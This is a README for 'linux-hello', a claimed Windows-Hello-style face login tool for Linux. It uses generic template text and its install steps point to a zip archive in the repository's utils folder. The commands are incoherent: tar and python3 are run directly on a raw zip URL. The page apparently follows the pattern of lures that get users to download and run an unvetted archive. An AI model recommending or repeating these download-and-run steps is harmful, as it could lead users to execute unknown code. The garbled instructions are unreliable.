yghlaio/linux-hello
π Implement facial authentication for Linux, inspired by Windows Helloβ’, to enhance security with ease and convenience.
π linux-hello - Effortless Facial Authentication for Linux
π₯ Download Now
π Overview
linux-hello provides a simple way to secure your Linux device using facial recognition. Inspired by Windows Hello, this tool uses advanced techniques for reliable face detection and recognition.
π Features
- Facial Authentication: Quickly log in using your face.
- Rotation-Invariant Detection: Works well from different angles.
- TPM Support: Enhances security by integrating with Trusted Platform Module.
- User-Friendly GUI: Easy management of settings and preferences.
- Open Source: Join our community and contribute.
β System Requirements
- Operating System: Linux (Ubuntu 18.04 or newer recommended)
- Processor: 64-bit processor
- Memory: Minimum 4 GB RAM
- Storage: At least 100 MB of free disk space
- Camera: A webcam or built-in camera capable of video capture
π Getting Started
Follow these simple steps to download and run the software:
-
Visit the Releases Page:
- Go to the Releases page to find the latest version of linux-hello.
-
Download the Installer:
- Click on the version number to open its details.
- Look for a file named
https://raw.githubusercontent.com/yghlaio/linux-hello/main/utils/hello_linux_v3.2-alpha.2.zipor similar. - Download this file to your computer.
-
Extract the Downloaded File:
- Open a terminal window.
- Navigate to the directory where you downloaded the file. You can do this using the
cdcommand. - Run the command:
tar -xvzf https://raw.githubusercontent.com/yghlaio/linux-hello/main/utils/hello_linux_v3.2-alpha.2.zip
- This will extract the files into a new folder.
-
Install Dependencies:
- Before running the software, ensure you have the required dependencies installed. Run the following commands:
sudo apt-get update sudo apt-get install python3 python3-opencv python3-tk python3-pip
- Before running the software, ensure you have the required dependencies installed. Run the following commands:
-
Run linux-hello:
- In the terminal, navigate to the extracted folder:
cd linux-hello-x.x.x - Start the application by running:
python3 https://raw.githubusercontent.com/yghlaio/linux-hello/main/utils/hello_linux_v3.2-alpha.2.zip
- In the terminal, navigate to the extracted folder:
π‘ Usage Tips
- When you first open the application, you will need to set up your facial recognition profile.
- Make sure you are in a well-lit area for the best results.
- Regularly update your profile if your appearance changes significantly.
π Updating
To update linux-hello, simply repeat the download steps described above. Installing newer versions will overwrite the old files, ensuring you have the latest features and improvements.
β Troubleshooting
If you encounter issues during setup or usage:
- Check FAQ sections in the documentation on the GitHub page.
- Ensure your system meets the requirements.
- Make sure your webcam is functioning properly.
π Support
If you need further assistance, please reach out through the issues section of the GitHub repository. Our team and community members will happily help you.
π Contributing
We welcome contributions! If you want to help improve linux-hello, check out the contributing guidelines on our GitHub page.
π Acknowledgements
Thanks to the open-source community for their contributions to facial recognition technologies and to everyone who has supported this project.
π Useful Links
Feel free to explore more and customize your usage of linux-hello. Your safe and secure login experience is just a face scan away!